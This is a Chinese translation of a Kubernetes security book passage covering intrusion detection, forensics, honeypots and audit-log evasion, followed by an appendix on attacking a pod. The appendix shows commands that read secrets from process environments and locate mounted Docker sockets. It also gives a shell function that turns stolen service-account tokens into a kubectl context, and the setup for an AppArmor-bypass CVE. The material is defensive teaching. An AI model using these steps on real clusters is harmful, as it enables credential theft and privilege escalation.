Falco 附带了一系列社区贡献和维护的规则,包括专门用于管理 Kubernetes 集群的规则:

  • 意外的入站 TCP 连接:

    • 检测到从预期集外的端口到 Kubernetes 组件的入站 TCP 流量

    • 允许的入站端口:

      • 6443kube-apiserver 容器)

      • 10252kube-controller 容器)

      • 8443kube-dashboard 容器)

      • 10053, 10055, 8081kube-dns 容器)

      • 10251kube-scheduler 容器)

  • 意外生成的进程:

    • 检测到在 Kubernetes 集群中启动的超出预期集的进程

    • 允许的进程:

      • kube-apiserver(用于 kube-apiserver 容器)

      • kube-controller-manager(对kube-controller容器)

      • /dashboardkube-dashboard容器)

      • /kube-dnskube-dns容器)

      • kube-schedulerkube-scheduler容器)

  • 意外的只读文件访问:

    • 检测试图以只读模式访问文件的尝试,除了预期目录列表中的文件以外。

    • 只读模式的允许文件前缀:

      • /public

这些规则形成了一个有用的基础集,可以根据您自己集群的特定安全需求进行扩展。

警告

尽管使用社区贡献的规则通常更好,但没有软件是没有漏洞的。例如,Darkbit 发现了一个Falco 规则绕过,利用宽松的正则表达式规则部署了一个自定义特权代理容器——docker.io/my-org-name-that-ends-with-sysdig/agent

[PRE2]

IDS 的机器学习方法

机器学习(ML)通过模型重播其他 IDS 系统中使用的相同信号,然后预测容器是否受到威胁。

有许多可用的机器学习 IDS 示例:

  • Aqua Security使用基于机器学习的行为分析来分析和响应容器、网络和主机的行为。

  • Prisma Cloud的第 3 层容器间防火墙使用 ML 学习应用组件之间的有效流量流动。

  • Lacework利用无监督的机器学习进行跨云可观察性,并对运行时威胁作出响应。

  • Accuknox使用无监督的机器学习来检测不稳定性并辨别潜在攻击,以及“身份作为边界”来实现零信任网络、应用程序和数据保护。

容器取证

取证是从不完整或历史来源重建数据的艺术。在 Linux 中,这涉及捕获进程、内存和文件系统内容以离线审讯它们,找到入侵的来源或影响,并检查对抗性技术。

更高级的系统收集更多信息,例如它们已经记录的网络连接信息。在严重突破事件中,整个集群或账户可能会被断开网络连接,以防止攻击者继续攻击,可以对整个系统进行镜像和探索。

类似kube-forensics的工具“创建运行中 pod 状态的检查点快照,以供以后进行离线分析”,因此可以卸载和终止恶意工作负载,并使系统恢复使用。它运行一个forensics-controller-manager,带有一个PodCheckpoint自定义资源定义(CRD),有效地进行docker inspectdocker diff和最终docker export。值得注意的是,这不会捕获进程的内存,可能存在未保存到磁盘或在进程启动后被删除的植入物或攻击者工具。

要捕获进程的内存,可以使用像 GDB 这样的标准工具。从容器内使用这些工具很困难,因为可能需要符号。从容器外部,转储内存并搜索其中的有趣数据是微不足道的,就像这个simple Bash script结合Trufflehog和 GDB 进程转储所示:

[PRE3]

将此脚本放入procdump.sh并在本地 shell 中运行:

[PRE4]

您将看到加载到 shell 中的任何高熵字符串或可疑秘密:

[PRE5]

警告

在进程命名空间中作为 root 的攻击者可以转储命名空间中任何其他进程的内存。主机进程命名空间中的 root 用户可以转储节点上任何进程的内存(包括子命名空间)。

通过从文件系统或密钥管理系统在使用时检索秘密,可以避免云原生应用程序中的此类攻击。如果在不使用时从内存中丢弃秘密,您将更加抗攻击。您还可以在内存中加密秘密,尽管解密密钥面临相同的被转储风险,因此在不使用时也应将其丢弃。

诱饵(Honeypots)

captain

尽管 IDS 可以检测和阻止系统几乎所有的滥用,我们不能再次强调没有银弹这样的事实。应该假定像 Hashjack 船长这样的流氓海盗仍然能够绕过任何小心的安全配置。复杂的系统为攻击者提供了不对称的优势:防御者只需犯一个错误就可能被攻击。

攻击者可能仍然能够逃离容器或者遍历到主机。或者,如果他们在由入侵检测系统(IDS)监管的容器中,操纵应用程序的预期行为(例如,通过以不同的标志调用同一应用程序),他们可能能够读取敏感数据而不触发 IDS 警报。

因此,最后的防线是简单的诱饵(honeypot),一个普通的服务器或者文件,合法应用程序从不使用。它安静地安置在诱人或安全的位置,并在攻击者访问时触发警报。诱饵可能会被网络扫描触发,或者系统通常不会发出的 HTTP 请求触发。

图 9-1 展示了 BCTL 的诱饵(honeypot)诱捕 Dread Pirate Hashjack。像这样的诱饵(honeypot)使用工具如ElastAlert来监控、审计和访问不应被访问的 pod 的日志,非常简单。

在诱饵中捕获攻击者

图 9-1. 在诱饵中捕获攻击者

您希望捕捉在 pod 网络内操作的攻击者。他们可能会扫描本地 IP 范围以开放 TCP 和 UDP 端口。请记住,每个 Kubernetes 工作负载必须是相同的,因此我们无法运行“自定义”pod 来部署单个诱饵。而是部署一个专用的 DaemonSet,以便每个节点都由一个诱饵 pod 保护。

如果攻击者或内部人员可以访问集群 DNS,可以读取 pod 的环境变量,或者可以读取 Kubernetes API 的访问权限,他们可以看到 DNS 和 pod 名称中 Kubernetes 服务的名称。他们可能在寻找特定命名的目标。您可以使用一个具有吸引力的类似名称的诱饵服务(例如“myapp-data”或“myapp-support”)来诱使攻击者。将诱饵部署为 DaemonSet 将确保它在 Captain Hashjack 可能掠夺的任何节点上等待。

注意

Canary tokens 是用于 AWS 和 Slack 密钥、URL、DNS 记录、QR 码、电子邮件地址、文档和二进制文件的诱饵。它们是您可以在生产系统和开发人员设备中投放的“小陷阱”,以检测是否遭到了入侵。

审计

正如在第八章中讨论的,Kubernetes 为其接收的每个 API 请求生成审计日志,并且 IDS 工具可以摄取和监控该信息流以获取意外的请求。这可能包括来自未知 IP 范围外或预期工作时间外的请求,诱饵令牌凭证,或者尝试使用未授权的 API(例如,默认服务账户令牌尝试在其命名空间中获取所有 Secrets 或特权命名空间)。

审计日志级别和深度是可配置的,但正如 Kubernetes v1.19.2 的 CVE-2020-8563(以及 CVE-2020-8564、CVE-2020-8565、CVE-2020-8566 所显示的),默认设置历来不够严格。某些敏感请求载荷信息被持久化到日志中,这些信息可能可以从集群外部读取,然后用于攻击集群。

KEP 1753中正在减轻日志中的意外数据泄露:

该 KEP 提议引入一个日志过滤器,该过滤器可以应用于所有 Kubernetes 系统组件的日志,以防止各种类型的敏感信息通过日志泄露…… 确保敏感数据不能轻易存储在日志中。通过改进的代码审查政策防止危险的日志记录行为。使用日志过滤器对敏感信息进行遮蔽。这些措施共同有助于防止敏感数据在日志中曝光。

可以在 v1.20+ 的 kubelet 标志 --experimental-logging-sanitization 中使用。

将机密信息泄露到日志和审计流中在所有技术组织中都很常见,这也是避免使用环境变量存储敏感信息的另一个原因。开发人员需要运行程序时的内省和有用的输出,但在开发过程中清理调试信息的做法很少见。这些调试字符串最终会进入生产环境,因此搜索日志以检测机密信息可能是唯一实用的方法。

注意

推动日志清理关注的漏洞包括:

CVE-2020-8563

vSphere Provider kube-controller-manager 的日志中的机密信息泄露

CVE-2020-8564

当文件格式错误且 logLevel >= 4 时泄露的 Docker 配置 Secrets

CVE-2020-8565

对 CVE-2019-11250 的不完整修复允许在 logLevel >= 9 时泄漏令牌到日志中

CVE-2020-8566

logLevel >= 4 时,Ceph RBD 管理密码在日志中暴露

您可以在 Kubernetes 论坛 上阅读披露内容。

检测逃避

Brad GeesamanIan ColdwaterRSA 2020 上演示了绕过 Kubernetes 审计日志的方法。正如 图 9-2 所示,Kubernetes 控制平面中的 etcd 数据存储非常高效和可靠,但不支持大数据量。这意味着超过 256 KB 的请求负载不会被存储在审计日志中,从而使超大日志条目的隐秘行为成为可能。

注意

能够访问 API 服务器的攻击者可以黑洞化、重定向或篡改任何本地存储的审计日志。作为事后检查的一部分,探索攻击者的路径非常有用,因此直接将 API 服务器的审计日志发送到远程 Webhook 后端可以防范这种情况。配置 API 服务器使用标志 --audit-webhook-config-file 远程发送日志,或使用为您配置此项服务的托管服务。

haku 0902

图 9-2. 超大 etcd 日志 (RSA 2020)

安全运营中心

较大的组织可能会设有安全运营中心(SOC),负责管理安全信息和事件(SIEM)。

配置企业应用程序以在审计和 Pod 日志上发出警报需要进行微调,以避免误报和不必要的警报。您可以使用本地集群构建自动化测试并捕获审计日志事件,然后使用该数据配置您的 SIEM。最后,在生产系统中重新运行您的自动化测试以确保正确引发警报。

您应该对生产系统运行红队安全测试,以验证蓝队控制是否按预期工作。这为系统配置的攻击树和威胁模型提供了真实世界的测试。

结论

入侵检测是云原生系统的最后防线。在现代内核上,eBPF 方法提供更高的速度,性能开销很小。敏感或面向 Web 的工作负载应始终由 IDS 保护,因为它们面临最大的妥协风险。

通过这一举措,我们将转向注意力最薄弱的环节及其自然栖息地:组织。

附录 A. 一个 Pod 级攻击

本附录是对 pod 级攻击的实践探索,正如我们在 第二章 中讨论的那样。

captain

可怕的网络海盗哈希杰克现在可以远程在 pod 中执行代码,并且他们将开始探索其配置,看看还能访问什么。

就像所有优秀的海盗一样,哈希杰克有一张宝藏地图,但这不是一张有明确目的地的普通地图。相反,这张地图只描述了旅程,不保证达到结论。这是一个集群攻击地图,如 图 A-1 所示,并且用于指导我们浏览附录的其余部分。现在,从 pod 内部开始探索。

提示

保护任何系统都很困难。发现漏洞和配置错误的最佳方法是系统地观察您的环境,建立自己的攻击和模式库,并且不要放弃!

Pod 攻击地图

图 A-1. Pod 攻击地图

文件系统

进入新环境时,一些基本的检查可能会带来有用的发现。哈希杰克首先要做的是检查他们所在的容器类型。经常检查 /proc/self/cgroup 可能会提供线索,这里他们可以看到从线索 /kubepods/besteffort/pod8a6fa26b-... 知道他们在 Kubernetes 中:

adversary@hashjack-5ddf66bb7b-9sssx:/$ cat /proc/self/cgroup
11:memory:/kubepods/besteffort/pod8a6fa26b-.../f3d7b09d9c3a1ab10cf88b3956...
10:cpu,cpuacct:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b...
9:blkio:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b3956704...
8:net_cls,net_prio:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10c...
7:perf_event:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b39...
6:freezer:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b39567...
5:pids:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b39567048...
4:cpuset:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b395670...
3:hugetlb:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b39567...
2:devices:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b39567...
1:name=systemd:/kubepods/besteffort/pod8a6fa26b-...f3d7b09d9c3a1ab10cf88b...

接下来,他们可能会检查他们的进程状态输入在 /proc/self/status 中:

Name:   cat
State:  R (running)
Tgid:   278
Ngid:   0
Pid:    278
PPid:   259
TracerPid:      0
Uid:    1001    1001    1001    1001
Gid:    0       0       0       0
FDSize: 256
Groups:
NStgid: 278
NSpid:  278
NSpgid: 278
NSsid:  259
VmPeak:     2432 kB
VmSize:     2432 kB
VmLck:         0 kB
VmPin:         0 kB
VmHWM:       752 kB
VmRSS:       752 kB
VmData:      312 kB
VmStk:       132 kB
VmExe:        28 kB
VmLib:      1424 kB
VmPTE:        24 kB
VmPMD:        12 kB
VmSwap:        0 kB
HugetlbPages:          0 kB
Threads:        1
SigQ:   0/15738
SigPnd: 0000000000000000
ShdPnd: 0000000000000000
SigBlk: 0000000000000000
SigIgn: 0000000000000000
SigCgt: 0000000000000000
CapInh: 00000000a80425fb
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
Seccomp:        0
Speculation_Store_Bypass:       vulnerable
Cpus_allowed:   0003
Cpus_allowed_list:      0-1
Mems_allowed:   00000000,00000001
Mems_allowed_list:      0
voluntary_ctxt_switches:        0
nonvoluntary_ctxt_switches:     1

内核会自由提供这些信息,以帮助 Linux 应用程序,而在容器中的攻击者可以利用这些信息来获取优势。可以用 grep 命令找出有趣的条目(注意下面我们是 root 用户):

root@hack:~ [0]$ grep -E \
  '(Uid|CoreDumping|Seccomp|NoNewPrivs|Cap[A-Za-z]+):' /proc/self/status
Uid:    0       0       0       0
CoreDumping:    0
CapInh: 0000003fffffffff
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
NoNewPrivs:     0
Seccomp:        0

这些能力并不是很容易读懂,需要进行解码:

root@hack:~ [0]$ capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,
  cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,
  cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,
  cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,
  cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,
  cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,
  cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,
  cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read

您还可以使用 capsh --print 命令来显示能力(如果已安装),getpcapsfilecap(分别用于单个进程或文件),pscap(用于所有运行进程),以及 captest(用于当前进程的上下文):

root@hack:~ [0]$ capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,
  cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,
  cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,
  cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,
  cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Ambient set =
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root)
gid=0(root)
groups=1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)...
提示

一个生产容器永远不应包含这些调试命令,而应仅包含生产应用程序和代码。使用静态、精简或 distroless 容器可通过限制攻击者对有用信息的访问来减少容器的攻击面。这也是为什么在可能的情况下应限制像 curlwget 这样的具有网络功能的应用程序的可用性,以及任何带有网络库的解释器,这些解释器可以用来将外部工具拉入运行中的容器。

您可能更喜欢运行杰斯·弗拉泽尔的 amicontained,它可以快速运行这些检查,并方便地检测能力、seccomp 和 LSM 配置。

提示

这个命令需要互联网访问权限,这是生产工作负载不应授予的另一项特权,除非需要用于生产操作。空气隔离(完全脱机)集群提供了更高的安全性,但会增加管理开销。

让我们使用 amicontained

root@hack:~ [0]$ export AMICONTAINED_SHA256="d8c49e2cf44ee9668219acd092e\
d961fc1aa420a6e036e0822d7a31033776c9f" ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)

root@hack:~ [0]$ curl -fSL \ ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
  "https://github.com/genuinetools/amicontained/releases/download/v0.4.9/\
amicontained-linux-amd64" \
  -o "/tmp/amicontained" \
  && echo "${AMICONTAINED_SHA256} /tmp/amicontained" | sha256sum -c - \
  && chmod a+x "/tmp/amicontained"

root@hack:~ [0]$ /tmp/amicontained ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)
Container Runtime: kube
Has Namespaces:
        pid: true user: false AppArmor Profile: docker-default (enforce)
Capabilities:
        BOUNDING -> chown dac_override fowner fsetid kill setgid setuid
  setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
Seccomp: disabled
Blocked system calls (26):
        SYSLOG SETUID SETSID SETREUID SETGROUPS SETRESUID VHANGUP
  PIVOT_ROOT ACCT SETTIMEOFDAY UMOUNT2 SWAPON SWAPOFF REBOOT SETHOSTNAME
  SETDOMAINNAME INIT_MODULE DELETE_MODULE LOOKUP_DCOOKIE KEXEC_LOAD
  FUTIMESAT UTIMENSAT FANOTIFY_INIT OPEN_BY_HANDLE_AT FINIT_MODULE
  KEXEC_FILE_LOAD
Looking for Docker.sock

1

导出 sha256sum 进行验证。

2

下载并检查 sha256sum。

3

我们安装到非标准路径以规避不可变文件系统,因此我们运行完全限定路径

大发现!从容器内部可以获取大量关于安全配置的信息。

我们还可以在文件系统上检查我们的 cgroup 限制:

root@hack:~ [0]$ free -m
        total   used   free   shared   buff/cache   available
Mem:     3950    334   1473        6         2142        3327
Swap:       0      0      0

free -m 使用主机级别的 API 可供所有进程使用,并未更新以与 cgroups 兼容。检查系统 API 以查看进程的实际 cgroup 限制:

root@host:~ [0]$ docker run -it --memory=4MB sublimino/hack \
  cat /sys/fs/cgroup/memory/memory.limit_in_bytes
4194304

对攻击者非常有用吗?其实不然。耗尽进程的内存并导致拒绝服务是一种基本攻击(尽管分叉炸弹被优雅地编写成 Bash 诗歌)。尽管如此,您应该设置 cgroups 以防止容器或 Pod 中的应用程序 DoS(支持个别配置)。Cgroups 不是安全边界,特权 Pod 可以从 cgroups v1 中逃逸,正如图 A-2 中演示的那样。

haku aa02

图 A-2. Felix Wilhelm 精心制作的 cgroups v1 容器逃逸的巧妙推文大小
提示

更安全且无根本的 cgroups v2 应该是大多数 Linux 安装的默认选项从 2022 年起

拒绝服务更有可能是应用程序的故障,而不是攻击——严重的 DDoS(基于互联网的分布式拒绝服务)应该由集群前面的网络设备处理,用于带宽和缓解。

注意

2017 年 9 月,谷歌成功抵御了一次2.54 Tbps DDoS 攻击。这类流量在进入网络路由器硬件时被丢弃,以防止对内部系统造成过载。

Kubernetes 在每个 Pod 中为每个容器设置了一些有用的环境变量:

root@frontened:/frontend [0]$ env |
  grep -E '(KUBERNETES|[^_]SERVICE)_PORT=' | sort
ADSERVICE_PORT=tcp://10.3.253.186:9555
CARTSERVICE_PORT=tcp://10.3.251.123:7070
CHECKOUTSERVICE_PORT=tcp://10.3.240.26:5050
CURRENCYSERVICE_PORT=tcp://10.3.240.14:7000
EMAILSERVICE_PORT=tcp://10.3.242.14:5000
KUBERNETES_PORT=tcp://10.3.240.1:443
PAYMENTSERVICE_PORT=tcp://10.3.248.231:50051
PRODUCTCATALOGSERVICE_PORT=tcp://10.3.250.74:3550
RECOMMENDATIONSERVICE_PORT=tcp://10.3.254.65:8080
SHIPPINGSERVICE_PORT=tcp://10.3.242.42:50051

应用程序可以轻松从环境变量中读取其配置,而12 因素应用建议将配置和机密信息设置在环境中。环境变量不是存储机密信息的安全场所,因为进程、用户或恶意代码可以轻松从 PID 命名空间中读取它们。

提示

您可以作为 root 或相同用户查看进程的环境。使用空字节转换检查 PID 1:

root@frontened:/frontend [0]$ tr '\0' '\n' < /proc/1/environ
HOSTNAME=9c7e824ed321
PWD=/
# ...

即使没有达成妥协,许多应用程序在崩溃时会转储其环境,将机密信息泄露给可以访问日志系统的任何人。

Kubernetes Secrets 不应作为环境变量挂载。

注意

如果攻击者具有远程代码执行权限,从父进程轻松收集,Kubernetes 容器环境变量在容器创建后不会更新:如果 API 服务器更新了 Secret,则环境变量保持相同的值。

更安全的选择是使用一个众所周知的路径,并将秘密tmpfs卷挂载到容器中,这样对手就必须猜测或找到秘密文件路径,这对攻击者来说不太可能被自动化。挂载的秘密会在kubelet同步周期和缓存传播延迟之后自动更新。

这里有一个将秘密挂载到路径/etc/foo的示例:

apiVersion: v1
kind: Pod
metadata:
  name: mypod
spec:
  containers:
  - name: mypod
    image: redis
    volumeMounts:
    - name: foo
      mountPath: "/etc/foo"
      readOnly: true
  volumes:
  - name: foo
    secret:
      secretName: mysecret

将秘密作为文件挂载可以防止信息泄露,并确保像 Hashjack 船长这样的对手在通过窃取的应用程序日志时不会意外发现生产秘密。

tmpfs

一个谨慎的探险者不会放过任何一个未探索的海洋,对 Hashjack 船长来说,攻击文件系统也不例外。检查是否有任何外部添加到挂载命名空间中的内容是第一个被调查的地方,常用工具如mountdf可以用来进行此类检查。

提示

每个外部设备、文件系统、套接字或共享到容器中的实体都会增加通过利用或配置错误导致容器突破的风险。当容器仅包含操作所需的基本要素并且彼此之间或与底层主机共享时,它们处于最安全状态。

让我们首先搜索文件系统挂载点,查找常见的容器文件系统驱动程序overlayfs。这可能会泄露有关配置了文件系统的容器运行时类型的信息:

root@test-db-client-pod:~ [0]$ mount | grep overlay
overlay on / type overlay (rw,relatime,
  lowerdir=
  /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/316/fs:
  /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/315/fs:
  /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/314/fs:
  /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/313/fs:
  /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/312/fs:
  /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/311/fs:
  /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/310/fs:
  /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/309/fs:
  /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/308/fs,
  upperdir=
  /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/332/fs,
  workdir=
  /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/332/work)

我们可以看到底层容器运行时正在使用一个包含名称containerd的文件路径,并且容器在主机磁盘上的文件系统位置为/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/316/fs。列出了多个分层目录,并且这些目录在运行时通过overlayfs组合成单个文件系统。

这些路径是容器运行时默认配置的指纹,而runc通过不同的文件系统布局泄露其身份:

root@dbe6633a6c94:/# mount | grep overlay
overlay on / type overlay (rw,relatime,lowerdir=
  /var/lib/docker/overlay2/l/3PTJCBKLNC2V5MRAEF3AU6EDMS:
  /var/lib/docker/overlay2/l/SAJGPHO7UFXGYFRMGNJPUOXSQ5:
  /var/lib/docker/overlay2/l/4CZQ74RFDNSDSHQB6CTY6CLW7H,
  upperdir=
  /var/lib/docker/overlay2/aed7645f42335835a83f25ae7ab00b98595532224...163/diff,
  workdir=
  /var/lib/docker/overlay2/aed7645f42335835a83f25ae7ab00b98595532224...163/work)

运行df命令查看是否有任何挂载到容器中的秘密。在这个例子中,没有外部实体挂载到容器中:

root@test-db-client-pod:~ [0]$ df
Filesystem     Type     Size  Used Avail Use% Mounted on
overlay        overlay   95G  6.6G   88G   7% /
tmpfs          tmpfs     64M     0   64M   0% /dev
tmpfs          tmpfs    7.1G     0  7.1G   0% /sys/fs/cgroup
/dev/sda1      ext4      95G  6.6G   88G   7% /etc/hosts
shm            tmpfs     64M     0   64M   0% /dev/shm
tmpfs          tmpfs    7.1G     0  7.1G   0% /proc/acpi
tmpfs          tmpfs    7.1G     0  7.1G   0% /proc/scsi
tmpfs          tmpfs    7.1G     0  7.1G   0% /sys/firmware

我们可以看到tmpfs用于许多不同的挂载,一些挂载掩盖了/proc/sys中的主机文件系统。容器运行时对这些目录中的特殊文件进行了额外的掩盖。

在易受攻击的容器文件系统中,可能包含主机挂载的秘密和套接字,尤其是臭名昭著的 Docker 套接字和可能具有 RBAC 授权以升级权限或启用进一步攻击的 Kubernetes 服务账户:

root@test-db-client-pod:~ [0]$ df
Filesystem  Type   ...  Use% Mounted on
tmpfs       tmpfs  ...    1% /etc/secret-volume
tmpfs       tmpfs  ...    1% /run/docker.sock
tmpfs       tmpfs  ...    1% /run/secrets/kubernetes.io/serviceaccount

所有容器突破中最简单和最方便的是/var/run/docker.sock挂载点:从主机获取的容器运行时套接字,可访问主机上运行的 Docker 守护程序。如果这些新容器是特权容器,则可以轻松地“逃离”容器命名空间并以 root 身份访问底层主机,正如我们在本章前面看到的。

其他吸引人的目标包括 Kubernetes 服务账户令牌在 /var/run/secrets/kubernetes.io/serviceaccount 下,或像 /etc/secret-volume 这样的可写主机挂载目录。其中任何一个都可能导致突破,或者帮助进行轴心转移。

kubelet 挂载到其容器中的所有内容对于 kubelet 主机上的 root 用户都是可见的。稍后我们将看到挂载在 /run/secrets/kubernetes.io/serviceaccount 下的 serviceAccount 是什么样子,并且我们调查了在 第八章 中偷窃 serviceAccount 凭据后该怎么办。

在 pod 内部,默认情况下 kubectl 使用 /run/secrets/kubernetes.io/serviceaccount 中的凭据。从 kubelet 主机上,这些文件被挂载到 /var/lib/kubelet/pods/123e4567-e89b-12d3-a456-426614174000/volumes/kubernetes.io~secret/my-pod-token-7vzn2 下,因此将以下命令加载到 Bash shell 中:

kubectl-sa-dir () {
    local DIR="${1:-}";
    local API_SERVER="${2:-kubernetes.default}";
    kubectl config set-cluster tmpk8s --server="https://${API_SERVER}" \
      --certificate-authority="${DIR}/ca.crt";
    kubectl config set-context tmpk8s --cluster=tmpk8s;
    kubectl config set-credentials tmpk8s --token="$(<${DIR}/token)";
    kubectl config set-context tmpk8s --user=tmpk8s;
    kubectl config use-context tmpk8s;
    kubectl get secrets -n null 2>&1 | sed -E 's,.*r "([^"]+).*,\1,g'
}

并在目录下运行它:

root@kube-node-1:~ [0]# kubectl-sa-dir \
  /var/lib/kubelet/pods/.../kubernetes.io~secret/priv-app-r4zkx/...229622223/
Cluster "tmpk8s" set.
Context "tmpk8s" created.
User "tmpk8s" set.
Context "tmpk8s" modified.
Switched to context "tmpk8s".
apiVersion: v1
clusters:
- cluster:
    certificate-authority: \
        /var/lib/kubelet/pods/.../kubernetes.io~secret/.../...229622223/ca.crt
    server: https://10.0.1.1:6443
  name: tmpk8s
# ...
system:serviceaccount:kube-system:priv-app

现在你可以更容易地使用 kubectl 配置在你的 ~/.kube/config 中的 system:serviceaccount:kube-system:priv-app 服务账户 (SA)。攻击者也可以做同样的事情——对 Kubernetes 节点的敌意根访问会显露所有的 Secrets!

提示

如果其他人可以访问 CSI 存储接口和主机文件系统挂载,这些都会带来安全风险。我们将在 第六章 中更详细地探讨外部存储、容器存储接口 (CSI) 和其他挂载。

还有什么其他挂载的内容可能会引起对手贪婪目光?让我们进一步探索。

主机挂载

Kubernetes 的 hostPath 卷类型将主机的文件系统路径挂载到容器中,这对某些应用程序可能很有用。/var/log 是一个常见的挂载点,因此主机的日志进程会收集容器的系统日志事件。

警告

尽可能避免使用 HostPath 卷,因为它们存在许多风险。最佳实践是使用 ReadOnly 挂载标志仅限制到所需的文件或目录。

hostPath 挂载的其他用例包括在 pod 中数据存储的持久性,或者托管静态数据、库和缓存。

使用主机磁盘或永久附加存储到节点会创建工作负载和底层节点之间的耦合,因为必须在该节点上重新启动工作负载才能正常运行。这使得扩展和弹性更加困难。

如果容器内意外创建了符号链接,解析到主机文件系统,主机挂载可能会很危险。在 CVE-2017–1002101 中发生了这种情况,符号链接处理代码中的错误允许容器内的对手探索挂载点所在的主机挂载文件系统。

将主机的套接字挂载到容器中也是一种常见的 hostMount 使用场景,它允许容器内的客户端针对主机上的服务器运行命令。通过在主机上启动新的特权容器并逃逸,这是一个容器突破的简便路径。

挂载主机上的敏感目录或文件,如果可以用于网络服务,也可能提供转向的机会。

hostPath卷是主机分区外的可写卷,始终作为root:root所有的主机文件系统上挂载。因此,在容器内应始终使用非 root 用户,并且如果容器内需要写入访问权限,则应始终在主机上配置文件系统权限。

警告

如果您正在使用准入控制器限制对特定目录的hostPath访问,那么这些volumeMounts必须是readOnly,否则新的符号链接可以用来遍历主机文件系统。

最终,数据是您业务的生命线,管理状态是困难的。攻击者将试图收集、外泄和加密锁定他们在您系统中找到的任何数据。使用外部服务(如外部托管的对象存储或数据库)来持久化数据通常是确保系统安全的最坚固和可扩展的方式——然而,对于高带宽或低延迟应用程序,这可能是不可能的。

对于其他所有内容,云提供商或内部服务集成去除了工作负载与底层主机之间的关联,这使得扩展、升级和系统部署更加容易。

提示

管理服务和专用基础设施集群是更容易理解的集群安全抽象,我们在第七章中会更多地讨论它们。

敌对容器

敌对容器是一个由攻击者控制的容器。它可能由具有 Kubernetes 访问权限的攻击者创建(可能是kubelet或 API 服务器),或者包含自动化利用代码的容器镜像(例如,从dockerscan下载的“木马”镜像,可以在合法容器中启动反向 Shell,以便攻击者访问您的生产系统),或者是在部署后被远程对手访问过的容器。

关于敌对容器镜像的文件系统呢?如果 Hashjack 队长能强制 Kubernetes 运行一个他们构建或损坏的容器,他们可能会尝试攻击编排器或容器、运行时或客户端(如kubectl)。

一个攻击(CVE-2019-16884)涉及一个定义在容器镜像中的VOLUME,覆盖了 AppArmor 用于配置的目录,基本上在容器运行时禁用了它:

mkdir -p rootfs/proc/self/{attr,fd}
touch rootfs/proc/self/{status,attr/exec}
touch rootfs/proc/self/fd/{4,5}

这可能被用作对系统的进一步攻击的一部分,但由于 AppArmor 不太可能是唯一的防御层,因此它并不像看起来那么严重。

另一个危险的容器镜像是一个在CVE-2019-5736中进行/proc/self/exe突破的容器。这个漏洞利用需要一个具有恶意链接ENTRYPOINT的容器,因此无法在已经启动的容器中运行。

正如这些攻击所显示的,除非容器是由可信组件构建的,否则应将其视为不受信任以防御进一步未知的攻击,例如此类攻击。

注意

一系列的kubectl cp CVE(CVE-2018-1002100CVE-2019-11249)需要容器内存在恶意的 tar 二进制文件。这种漏洞源于kubectl信任来自容器内scptar进程的输入,可以被操纵以覆盖运行kubectl二进制文件的主机上的文件。

运行时

CVE-2019-5736/proc/self/exe的突破的危险在于,敌对的容器进程可以覆盖主机上的runc二进制文件。那个runc二进制文件由 root 所有,但由于它也是在主机上由 root 执行(因为大多数容器运行时需要一些 root 能力),因此可以从容器内部被覆盖。这是因为容器进程是runc的子进程,而这种利用利用了runc有权覆盖自身的权限。

注意

保护主机免受特权容器进程的最佳方法是从容器运行时中删除 root 权限。runc和 Podman 都可以在无 root 模式下运行,我们在第三章中进行了探讨。

